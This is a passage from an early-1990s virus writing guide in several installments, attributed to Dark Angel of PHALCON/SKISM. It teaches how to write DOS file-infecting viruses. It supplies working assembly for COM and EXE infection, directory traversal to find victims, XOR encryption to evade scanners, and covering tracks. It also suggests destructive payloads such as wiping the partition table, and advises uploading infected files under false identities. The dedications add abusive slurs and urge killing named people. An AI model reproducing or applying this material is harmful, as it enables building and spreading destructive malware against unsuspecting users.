MOV DI, 0100h JMP DI This code first moves CS into ES and then sets the source pointer of MOVSB to where P1 is located. Remember that this is all taking place in memory, so you need the OFFSET of P1, not just the physical location in the file. The offset of P1 is 100h higher than the physical file location, as COM files are loaded starting from CS:[100h]. So here's a summary of the parts of the virus and location labels: V1_Start: JMP FAR PTR Duh Duh DW V2_Start V1_End: P2_Start: P2_End: P1_Start: ; First part of the program stored here for future use P1_End: V2_Start: ; Real Stuff V2_End: V1_Length EQU V1_End - V1_Start Alternatively, you could store P1 in V2 as follows: V2_Start: P1_Start: P1_End: V2_End: That's all there is to infecting a COM file without destroying it! Simple, no? EXE files, however, are a little tougher to infect without rendering them inexecutable - I will cover this topic in a later file. Now let us turn our attention back to the replicator portion of the virus. The steps are outlined below: 1) 2) 3) 4)
Find a file to infect Check if it is already infected If so, go back to 1 Infect it
5) If infected enough, quit 6) Otherwise, go back to 1 Finding a file to infect is a simple matter of writing a directory traversal procedure and issuing FINDFIRST and FINDNEXT calls to find possible files to infect. Once you find the file, open it and read the first few bytes. If they are the same as the first few bytes of V1, then the file is already infected. If the first bytes of V1 are not unique to your virus, change it so that they are. It is *extremely* important that your virus doesn't reinfect the same files, since that was how Jerusalem was first detected. If the file wasn't already infected, then infect it! Infection should take the following steps: 1) 2) 3) 4) 5) 6) to so
Change the file attributes to nothing. Save the file date/time stamps. Close the file. Open it again in read/write mode. Save P1 and append it to the end of the file. Copy V1 to the beginning, but change the offset which it JMPs
it transfers control correctly. See the previous part on infection. 7) Append V2 to the end of the file. 8) Restore file attributes/date/time. You should keep a counter of the number of files infected during this run. If the number exceeds, say three, then stop. It is better to infect slowly then to give yourself away by infecting the entire drive at once. You must be sure to cover your tracks when you infect a file. Save the file's original date/time/attributes and restore them when you are finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code, probably less, to do these few simple things which can do wonders for the concealment of your program. I will include code for the directory traversal function, as well as other parts of the replicator in the next installment of my phunky guide. -=-=-=-=CONCEALER -=-=-=-=-
This is the part which conceals the program from notice by the everyday user and virus scanner. The simplest form of concealment is the encryptor. The code for a simple XOR encryption system follows: encrypt_val
db
?
decrypt: encrypt: mov ah, encrypt_val mov cx, part_to_encrypt_end - part_to_encrypt_start mov si, part_to_encrypt_start mov di, si xor_loop: lodsb xor al, ah stosb loop xor_loop ret
; DS:[SI] -> AL ; AL -> ES:[DI]
Note the encryption and decryption procedures are the same. This is due to the weird nature of XOR. You can CALL these procedures from anywhere in the program, but make sure you do not call it from a place within the area to be encrypted, as the program will crash. When writing the virus, set the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning of V2 to unencrypt the file so your program can run. When infecting a file, first change the encrypt_val, then CALL encrypt, then write V2 to the end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE AREA TO BE ENCRYPTED!!! This is how V2 would look with the concealer: V2_Start: Concealer_Start: . . . Concealer_End: Replicator_Start: . . .
Replicator_End: Part_To_Encrypt_Start: . . . Part_To_Encrypt_End: V2_End: Alternatively, you could move parts between Part_To_Encrypt_End and V2_End.
of
the
unencrypted
stuff
The value of encryption is readily apparent. Encryption makes it harder for virus scanners to locate your virus. It also hides some text strings located in your program. It is the easiest and shortest way to hide your virus. Encryption is only one form of concealment. At least one other virus hooks into the DOS interrupts and alters the output of DIR so the file sizes appear normal. Another concealment scheme (for TSR virii) alters DOS so memory utilities do not detect the virus. Loading the virus in certain parts of memory allow it to survive warm reboots. There are many stealth techniques, limited only by the virus writer's imagination. -=-=-=-=THE BOMB -=-=-=-=So now all the boring stuff is over. The nastiness is contained here. The bomb part of the virus does all the deletion/slowdown/etc which make virii so annoying. Set some activation conditions of the virus. This can be anything, ranging from when it's your birthday to when the virus has infected 100 files. When these conditions are met, then your virus does the good stuff. Some suggestions of possible bombs: 1) System slowdown - easily
handled
by
trapping
an
interrupt
and causing a delay when it activates. 2) File deletion - Delete all ZIP files on the drive. 3) Message display - Display a nice message saying something
to
the effect of "You are fucked." 4) Killing/Replacing the Partition Table/Boot Sector/FAT of hard
the
drive - This is very nasty, as most dimwits cannot fix this. This is, of course, the fun part of writing a virus, so be original! -=-=-=-=-=-=-=OFFSET PROBLEMS -=-=-=-=-=-=-=There is one caveat regarding calculation of offsets. After you infect a file, the locations of variables change. You MUST account for this. All relative offsets can stay the same, but you must add the file size to the absolute offsets or your program will not work. This is the most tricky part of writing virii and taking these into account can often greatly increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS! If you don't, you'll get fucked over and your virus WILL NOT WORK! One entire part of the guide will be devoted to this subject. -=-=-=TESTING -=-=-=Testing virii is a dangerous yet essential part of the virus creation process. This is to make certain that people *will* be hit by the virus and, hopefully, wiped out. Test thoroughly and make sure it activates under the conditions. It would be great if everyone had a second computer to test their virii out, but, of course, this is not the case. So it is ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and FAT. Norton is handy in this doing this. Do NOT disregard this advice (even though I know that you will anyway) because you WILL be hit by your own virii. When I wrote my first virus, my system was taken down for two days because I didn't have good backups. Luckily, the virus was not overly destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the damage is not permanent. RamDrives are also useful for testing trojans, but that is the topic of another file... -=-=-=-=-=-=-
DISTRIBUTION -=-=-=-=-=-=This is another fun part of virus writing. It involves sending your brilliantly-written program through the phone lines to your local, unsuspecting bulletin boards. What you should do is infect a file that actually does something (leech a useful utility from another board), infect it, and upload it to a place where it will be downloaded by users all over. The best thing is that it won't be detected by puny scanner-wannabes by McAffee, since it is new! Oh yeah, make sure you are using a false account (duh). Better yet, make a false account with the name/phone number of someone you don't like and upload the infected file under the his name. You can call back from time to time and use a door such as ZDoor to check the spread of the virus. The more who download, the more who share in the experience of your virus! I promised a brief section on overwriting virii, so here it is... -=-=-=-=-=-=-=-=OVERWRITING VIRII -=-=-=-=-=-=-=-=All these virii do is spread throughout the system. They render the infected files inexecutable, so they are easily detected. It is simple to write one: +-------------+ +-----+ +-------------+ | Program | + |Virus| = |Virus|am | +-------------+ +-----+ +-------------+ These virii are simple little hacks, but pretty worthless because of their easy detectability. Enuff said! -=-=-=-=-=-=-=-=-=-=-=-=WELL, THAT JUST ABOUT... -=-=-=-=-=-=-=-=-=-=-=-=wraps it up for this installment of Dark Angel's Phunky virus writing guide. There will (hopefully) be future issues where I discuss more about virii and include much more source code (mo' source!). Till then, happy coding!
//==// // // /|| // // // // //|| //==// //==// //=|| // // // // || // // // // ||
// // // // //====
//==== //==// //| // // // // //|| // // // // // || // // // // // ||// //==== //==// // ||/
/==== // // // /==== /| /| // // // // // //| //| ===\ // // // ===\ //|| //|| // // \\ // // // ||// || ====/ // \\ // ====/ // ||/ || ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DISCLAIMER: Pretend you see a disclaimer here. 99.44% of the code guaranteed to work. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DEDICATION: Please try your best to kill those who made this possible, especially that dumb bitch who doesn't know her own name (Patty), and her lover Ross M. Greenberg. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GREETS -N- STUFF: Greets go to all the members of PHALCON/SKISM. I wish to give buckets o' thanks to Hellraiser, Garbageheap, and Demogorgon. No thanks this time to Orion Rouge, the godly master of idiocy. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dark Angel's Chunky Virus Writing Guide ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INSTALLMENT II: THE REPLICATOR ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In the last installment of my Virus Writing Guide, I explained the various parts of a virus and went into a brief discussion about each. In this issue, I shall devote all my attention towards the replicator portion of the virus. I promised code and code I shall present. However, I shall digress for a moment because it has come to my attention that some mutant copies of the first installment were inadvertently released. These copies did not contain a vital section concerning the calculation of offsets. You never know where your variables and code are going to wind up in memory. If you think a bit, this should be pretty obvious. Since you are
attaching the virus to the end of a program, the location in memory is going to be changed, i.e. it will be larger by the size of the infected program. So, to compensate, we must take the change in offset from the original virus, or the delta offset, and add that to all references to variables. Instructions that use displacement, i.e. relative offsets, need not be changed. These instructions are the JA, JB, JZ class of instructions, JMP SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of, say, JMP FAR PTR. Suppose in delta offset.
the following
examples, si
is somehow
loaded with
the
Replace mov ax, counter With mov ax, word ptr [si+offset counter] Replace mov dx, offset message With lea dx, [si+offset message] You may be asking, "how the farg am I supposed to find the delta offset!?" It is simple enough: call setup setup: pop si sub si, offset setup An explanation of the above fragment is in order. CALL setup pushes the location of the next instruction, i.e. offset setup, onto the stack. Next, this location is POPed into si. Finally, the ORIGINAL offset of setup (calculated at compile-time) is subtracted from si, giving you the delta offset. In the original virus, the delta offset will be 0, i.e. the new location of setup equals the old location of setup. It is often preferable to use bp as your delta offset, since si is used in string instructions. Use whichever you like. I'll randomly switch between
the two as suits my mood. Now back to the other stuff... A biological virus is a parasitic "organism" which uses its host to spread itself. It must keep the host alive to keep itself "alive." Only when it has spread everywhere will the host die a painful, horrible death. The modern electronic virus is no different. It attaches itself to a host system and reproduces until the entire system is fucked. It then proceeds and neatly wrecks the system of the dimwit who caught the virus. Replication is what distinguishes a virus from Anybody can write a trojan, but a virus is much more almost invisibly, and catches the victim off-guard when surfaces. The first question is, of course, how does a virus and EXE infections (along with sample infection routines)
a simple trojan. elegant.
It acts
it finally spread?
Both COM
shall be presented.
There are two major approaches to virii: runtime and TSR. Runtime virii infect, yup, you guessed it, when the infected program is run, while TSR virii go resident when the infected programs are run and hook the interrupts and infect when a file is run, open, closed, and/or upon termination (i.e. INT 20h, INT 21h/41h). There are advantages and disadvantages to each. Runtime virii are harder to detect as they don't show up on memory maps, but, on the other hand, the delay while it searches for and infects a file may give it away. TSR virii, if not properly done, can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in general, smaller since they don't need a function to search for files to infect. They are also faster than runtime virii, also because they don't have to search for files to infect. I shall cover runtime virii here, and TSR virii in a later installment. Here is 1) 2) 3) 4)
a summary of the infection procedure: Find a file to infect. Check if it meets the infection criteria. See if it is already infected and if so, go back to 1. Otherwise, infect the file.
5) Cover your tracks. I shall go through each of these steps and present sample code for each. Note that although a complete virus can be built from the information below, you cannot merely rip the code out and stick it together, as the fragments are from various different virii that I have written. You must be somewhat familiar with assembly. I present code fragments; it is up to you to either use them as examples or modify them for your own virii. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STEP 1 - FIND A FILE TO INFECT ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Before you can infect a file, you have to find it first! This can be a bottleneck in the performance of the virus, so it should be done as efficiently as possible. For runtime virii, there are a few possibilities. You could infect files in only the current directory, or you could write a directory traversal function to infect files in ALL directories (only a few files per run, of course), or you could infect files in only a few select directories. Why would you choose to only infect files in the current directory? It would appear to limit the efficacy of the infections. However, this is done in some virii either to speed up the virus or to shorten the code size. Here is a directory traversal function. It uses recursion, so it is rather slow, but it does the job. This was excerpted with some modifications from The Funky Bob Ross Virus [Beta]. traverse_fcn proc near push bp mov bp,sp sub sp,44
; Create stack frame ; Allocate space for DTA
call
infect_directory
; Go to search & destroy
mov lea int
ah,1Ah dx,word ptr [bp-44] 21h
;Set DTA ; to space allotted ;Do it now!
mov mov
ah, 4Eh cx,16
;Find first ;Directory mask
routines
lea int jmp
dx,[si+offset dir_mask] ; *.* 21h short isdirok
cmp je lea mov int jc inc call
byte ptr [bp-14], '.' ; short donext ; dx,word ptr [bp-14] ; ah,3Bh ; 21h short donext word ptr [si+offset nest] near ptr traverse_fcn
lea
dx,word ptr [bp-44]
; Load space allocated for
mov
ah,1Ah
; and set DTA to this new
int
21h
; 'cause it might have
mov int
ah,4Fh 21h
;Find next
gonow: Is first char == '.'? If so, loop again else load dirname and changedir there ; Do next if invalid ; nest++ ; recurse directory
donext: DTA area changed
isdirok: jnc cmp
gonow ; If OK, jmp elsewhere word ptr [si+offset nest], 0 ; If root directory ; (nest == 0) short cleanup ; then Quit word ptr [si+offset nest] ; Else decrement nest dx, [si+offset back_dir]; '..' ah,3Bh ; Change directory 21h ; to previous one
jle dec lea mov int cleanup: mov sp,bp pop bp ret traverse_fcn endp ; Variables nest dw back_dir db dir_mask db
0 '..',0 '*.*',0
The code is self-explanatory. Make sure you have a function called infect_directory which scans the directory for possible files to infect and makes sure it doesn't infect already-infected files. This function, in turn, calls infect_file which infects the file. Note, as I said before, this is slow. A quicker method, albeit not as global, is the "dot dot" method. Hellraiser showed me this neat little trick. Basically, you keep searching each directory and, if you haven't
infected enough, go to the previous directory (dot dot) and try again, and so on. The code is simple. dir_loopy: call lea mov int jnc
infect_directory dx, [bp+dotdot] ah, 3bh 21h dir_loopy
; Variables dotdot db
'..',0
; CHDIR ; Carry set if in root
Now you must find a file to infect. This is done (in the fragments above) by a function called infect_directory. This function calls FINDFIRST and FINDNEXT a couple of times to find files to infect. You should first set up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that will affect the command-line parameters of the infected program when control is returned to it. This is easily done with the following: mov lea
ah, 1Ah dx, [bp+offset DTA]
int
21h
; Set DTA ; to variable called DTA
(wow!)
Where DTA is a 42-byte chunk of memory. FINDFIRST and FINDNEXT calls: mov ah, 4Eh ; mov cx, 0007h ; lea dx, [bp+offset file_mask]; int 21h jc none_found found_another: call check_infection mov ah, 4Fh ; int 21h jnc found_another none_found:
Next, issue a series of
Find first file Any file attribute DS:[DX] --> filemask
Find next file
Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively, you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STEP 2 - CHECK VERSUS INFECTION CRITERIA ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Your virus should be judicious in its infection. might
For example, you
not want to infect COMMAND.COM, since some programs (i.e. the puny FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to infect the first valid file in the directory. Ambulance Car is an example of such a virus. Regardless, if there is some infection criteria, you should check for it now. Here's example code checking if the last two letters are 'ND', a simple check for COMMAND.COM: cmp
word ptr [bp+offset DTA+35], 'DN'
jz
fail_check
; Reverse word
order
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STEP 3 - CHECK FOR PREVIOUS INFECTION ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Every virus has certain characteristics with which you can identify whether a file is infected already. For example, a certain piece of code may always occur in a predictable place. Or perhaps the JMP instruction is always coded in the same manner. Regardless, you should make sure your virus has a marker so that multiple infections of the same file do not occur. Here's an example of one such check (for a COM file infector): mov mov lea int
ah,3Fh cx, 3 dx, [bp+offset buffer] 21h
; Read first three ; bytes of the file ; to the buffer
mov xor xor int
ax, 4202h cx, cx dx, dx 21h
; ; ; ;
sub cmp jnz
ax, virus_size + 3 word ptr [bp+offset buffer+1], ax infect_it
bomb_out: mov int another
ah, 3Eh 21h
SEEK from EOF DX:CX = offset Returns filesize in DX:AX
; else close the file ; and go find
In this example, BX is assumed to hold a file handle to the program to be checked for infection and virus_size equals the size of the virus. Buffer is assumed to be a three-byte area of empty space. This code fragment
reads the first three bytes into buffer and then compares the JMP location (located in the word beginning at buffer+1) to the filesize If the JMP points to virus_size bytes before the EOF, then the file is already infected with this virus. Another method would be to search at a certain location in the file for a marker byte or word. For example: mov mov
ah, 3Fh cx, 4
; Read the first four ; bytes of the file
lea int
dx, [bp+offset buffer] 21h
; the buffer.
cmp
byte ptr [buffer+3], infection_id_byte ; Check the
into
fourth jz infect_it:
bomb_out
; byte for the marker
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STEP 4 - INFECT THE FILE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is the "guts" of the virus, the heart of the replicator. Once you have located a potential file, you must save the attributes, time, date, and size for later use. The following is a breakdown of the DTA: Offset 0h 15h 16h 18h 1Ah 1Eh
Size 21 BYTES BYTE WORD WORD DWORD 13 BYTES
What it is Reserved, varies as per DOS version File attribute File time File date File size ASCIIZ filename + extension
As you can see, the DTA holds all the vital information about the file that you need. The following code fragment is a sample of how to save the info: lea si, [bp+offset DTA+15h] attributes mov cx, 9 lea di, [bp+offset f_attr] locations rep movsb ; Variables needed f_attr db ? f_time dw ? f_date dw ? f_size dd ?
; Start from ; Finish with size ; Move into your
You can now change the file attributes to nothing through INT 21h/Function
43h/Subfunction 01h. This is to hidden, and read only files. Only primitive handle such files. lea filename in mov xor attributes int
allow infection (or minimal)
of system,
virii cannot
dx, [bp+offset DTA+1eh]
; DX points to
ax, 4301h cx, cx
; DTA ; Clear file
21h
; Issue the call
Once the attributes have been annihilated, you may open the with callous impunity. Use a handle open in read/write mode. lea mov
dx, [bp+offset DTA+1eh] ax, 3d02h
file
; Use filename in DTA ; Open read/write
mode int 21h xchg ax, bx
; duh. ; Handle is more
useful in ; BX Now we come to the part you've all been waiting for: the infection routine. I am pleased to present code which will handle the infection of COM files. Yawn, you say, I can already do that with the information presented in the previous installment. Ah, but there is more, much more. A sample EXE infector shall also be presented shortly. The theory behind COM file infection was covered in the last installment, so I shall not delve into the details again. Here is a sample infector: ; Sample COM infector. Assumes BX holds the file handle ; Assume COM file passes infection criteria and not already infected mov ah, 3fh lea dx, [bp+buffer1] mov cx, 3 int 21h mov
ax, 4200h
; Move file pointer
xor
cx, cx
; the beginning of
xor int
dx, dx 21h
; file
mov mov sub
byte ptr [bp+buffer2], 0e9h ax, word ptr [bp+f_size] ax, part1_size
to the
; JMP ; Usually 3
mov
word ptr [bp+buffer2+1], ax
; offset of JMP
; Encode JMP instruction to replace beginning of the file mov byte ptr [bp+buffer2], 0e9h ; JMP mov ax, word ptr [bp+f_size] sub ax, part1_size ; Usually 3 mov word ptr [bp+buffer2+1], ax ; offset of JMP ; Write the JMP instruction to the beginning of the file mov ah, 40h ; Write CX bytes to mov cx, 3 ; handle in BX from lea dx, [bp+buffer2] ; buffer -> DS:[DX] int 21h mov
ax, 4202h
; Move file pointer
xor xor int
cx, cx dx, dx 21h
; end of file
mov mov
ah, 40h cx, endofvirus - startofpart2
; Write CX bytes ; Effective size of
lea
dx, [bp+startofpart2]
; Begin write at
int
21h
to
virus start
; Variables buffer1 db 3 dup (?) the
; Saved bytes from ; infected file to
restore ; later ; Temp buffer
buffer2 db 3 dup (?)
After some examination, this code will prove to be easy to understand. It starts by reading the first three bytes into a buffer. Note that you could have done this in an earlier step, such as when you are checking for a previous infection. If you have already done this, you obviously don't need to do it again. This buffer must be stored in the virus so it can be restored later when the code is executed. EXE infections are also simple, although a bit harder understand. First, the thoery. Here is the format of the EXE header: Ofs 00 *02 *04 06 08
Name Signature Last Page Size File Pages Reloc Items Header Paras
Size 2 bytes 1 word 1 word 1 word 1 word
to
Comments always 4Dh 5Ah (MZ) number of bytes in last page number of 512 byte pages number of entries in table size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras 0C MaxAlloc 1 word maximum memory wanted in paras *0E PreReloc SS 1 word offset in paras to stack segment *10 Initial SP 1 word starting SP value 12 Negative checksum 1 word currently ignored *14 Pre Reloc IP 1 word execution start address *16 Pre Reloc CS 1 word preadjusted start segment 18 Reloc table offset 1 word is offset from start of file) 1A Overlay number 1 word ignored if not overlay 1C Reserved/unused 2 words * denotes bytes which should be changed by the virus To understand this, you must first realise that EXE files are structured into segments. These segments may begin and end anywhere. All you have to do to infect an EXE file is tack on your code to the end. It will then be in its own segment. Now all you have to do is make the virus code execute before the program code. Unlike COM infections, no program code is overwritten, although the header is modified. Note the virus can still have the V1/V2 structure, but only V2 needs to be concatenated to the end of the infected EXE file. Offset 4 (File Pages) holds the size of the file divided by 512, rounded up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the paragraph displacement (relative to the end of the header) of the initial stack segment and Offset 10h holds the displacement (relative to the start of the stack segment) of the initial stack pointer. Offset 16h holds the paragraph displacement of the entry point relative to the end of the header and offset 14h holds the displacement entry point relative to the start of the entry segment. Offset 14h and 16h are the key to adding the startup code (the virus) to the file. Before you infect the file, you should save the CS:IP and SS:SP found in the EXE header, as you need to restore them upon execution. Note that SS:SP is NOT stored in Intel reverse-double-word format. If you don't know what I'm talking about, don't worry; it's only for very picky people. You should also save the file length as you will need to use that value several
times during the infection routine. Now it's time to calculate some offsets! To find the new CS:IP and SS:SP, use the following code. It assumes the file size is loaded in DX:AX. mov
bx, word ptr [bp+ExeHead+8]
; Header size in
paragraphs mov
;
^---make sure you don't destroy the file handle cl, 4 ; Multiply by 16.
shl
bx, cl
; work with headers >
sub
ax, bx
; bytes. Oh well! ; Subtract header size
Won't 4096
from sbb dx, 0 ; file size ; Now DX:AX is loaded with file size minus header size mov cx, 10h ; DX:AX/CX = AX Remainder DX div cx This code is rather inefficient. It would probably be easier to divide by 16 first and then perform a straight subtraction from AX, but this happens to be the code I chose. Such is life. However, this code does have some advantages over the more efficient one. With this, you are certain that the IP (in DX) will be under 15. This allows the stack to be in the same segment as the entry point, as long as the stack pointer is a large number. Now AX*16+DX points to the end of code. If the virus begins immediately after the end of the code, AX and DX can be used as the initial CS and IP, respectively. However, if the virus has some junk (code or data) before the entry point, add the entry point displacement to DX (no ADC with AX is necessary since DX will always be small). mov mov
word ptr [bp+ExeHead+14h], dx word ptr [bp+ExeHead+16h], ax
; IP Offset ; CS Displacement in
module The SP and SS can now be calculated. The SS is equal to the CS. The actual value of the SP is irrelevant, as long as it is large enough so the stack will not overwrite code (remember: the stack grows downwards). As a general rule, make sure the SP is at least 100 bytes larger than the virus
size.
This should be sufficient to avoid problems. mov mov
word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
All that is left to fiddle in the header is the file size. Restore the original file size from wherever you saved it to DX:AX. To calculate DX:AX/512 and DX:AX MOD 512, use the following code: mov
cl, 9
; Use shifts again
ror push
dx, cl ax
; division ; Need to use AX
shr adc pop and
ax, cl dx, ax ax ah, 1
; mod 512 in ax
mov
word ptr [bp+ExeHead+4], dx
; Fix-up the file
mov
word ptr [bp+ExeHead+2], ax
; the EXE header.
for
again ; pages in dx
size in
All that is left is writing back the EXE header and concatenating the virus to the end of the file. You want code? You get code. mov mov
ah, 3fh cx, 18h
; BX holds handle ; Don't need entire
lea int
dx, [bp+ExeHead] 21h
call
infectexe
mov
ax, 4200h
; Rewind to beginning
xor xor int
cx, cx dx, dx 21h
; file
mov mov lea int
ah, 40h cx, 18h dx, [bp+ExeHead] 21h
; Write header back
mov xor xor int
ax, 4202h cx, cx dx, dx 21h
; Go to end of file
mov
ah, 40h
; Note: Only need to
mov
cx, part2size
;
header
of
write virus
part 2 of the
lea
dx, [bp+offset part2start]
;
(Parts of
int
21h
;
defined in
;
installment
;
the guide)
virus first of
Note that this code alone is not sufficient to write a COM or EXE infector. Code is also needed to transfer control back to the parent program. The information needed to do this shall be presented in the next installment. In the meantime, you can try to figure it out on your own; just remember that you must restore all that you changed. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STEP 5 - COVER YOUR TRACKS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This step, though simple to do, is too easily neglected. It is extremely important, as a wary user will be alerted to the presence of a virus by any unnecessary updates to a file. In its simplest form, it involves the restoration of file attributes, time and date. This is done with the following: mov mov mov int
ax, 5701h dx, word ptr [bp+f_date] cx, word ptr [bp+f_time] 21h
; Set file time/date ; DX = date ; CX = time
mov int
ah, 3eh 21h
; Handle close file
mov lea
ax, 4301h dx, [bp+offset DTA + 1Eh]
; Set attributes ; Filename still in
xor mov int
ch, ch cl, byte ptr [bp+f_attrib] 21h
; Attribute in CX
DTA
Remember also to restore the directory back to the original one if it changed during the run of the virus. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ WHAT'S TO COME ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I have been pleased with the tremendous response to the last installment of the guide. Next time, I shall cover the rest of the virus as well as
various tips and common tricks helpful in writing virii. Until then, make sure you look for 40Hex, the official PHALCON/SKISM magazine, where we share tips and information pertinent to the virus community.
//==// // // /|| // // // // //|| //==// //==// //=|| // // // // || // // // // ||
// // // // //====
//==== //==// //| // // // // //|| // // // // // || // // // // // ||// //==== //==// // ||/
/==== // // // /==== /| /| // // // // // //| //| ===\ // // // ===\ //|| //|| // // \\ // // // ||// || ====/ // \\ // ====/ // ||/ || ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DISCLAIMER: I hereby claim to have written this file. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DEDICATION: This is dedicated to Patty Hoffman, that fat bitch who doesn't know her own name, and to the millions of dumb fools who were so scared by Michelangelo that they didn't touch their computers for an entire day. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GREETS: to all PHALCON/SKISM members especially Garbageheap, Hellraiser, and Demogorgon. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dark Angel's Crunchy Virus Writing Guide ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ "It's the right thing to do" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INSTALLMENT III: NONRESIDENT VIRII, PART II ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Welcome to the third installment of my Virus Writing Guide. In the previous installment, I covered the primary part of the virus - the replicator. As promised, I shall now cover the rest of the nonresident virus and present code which, when combined with code from the previous installment, will be sufficient to allow anyone to write a simple virus. Additionally, I will present a few easy tricks and tips which can help optimise your code. ÄÄÄÄÄÄÄÄÄÄÄÄÄ THE CONCEALER ÄÄÄÄÄÄÄÄÄÄÄÄÄ The concealer is the avoid detection of virii. by far
most common
defense
virus
writers
use
to
The most common encryption/decryption routine
is the XOR, since it may be used for both encryption and decryption. encrypt_val decrypt: encrypt: mov mov lea mov
dx, cx, si, di,
dw
?
; Should be somewhere in decrypted area
word ptr [bp+encrypt_val] (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 [bp+part_to_encrypt_start] si
xor_loop: lodsw xor ax, dx stosw loop xor_loop The previous routine uses a simple XOR routine to encrypt or decrypt code in memory. This is essentially the same routine as the one in the first installment, except it encrypts words rather than bytes. It therefore has 65,535 mutations as opposed to 255 and is also twice as fast. While this routine is simple to understand, it leaves much to be desired as it is large and therefore is almost begging to be a scan string. A better method follows: encrypt_val
dw
?
decrypt: encrypt: mov dx, word ptr [bp+encrypt_val] lea bx, [bp+part_to_encrypt_start] mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 xor_loop: xor word ptr [bx], dx add bx, 2 loop xor_loop Although this code is much shorter, it is possible to further reduce its size. The best method is to insert the values for the encryption value, BX, and CX, in at infection-time. decrypt: encrypt: mov bx, 0FFFFh mov cx, 0FFFFh xor_loop: xor word ptr [bx], 0FFFFh
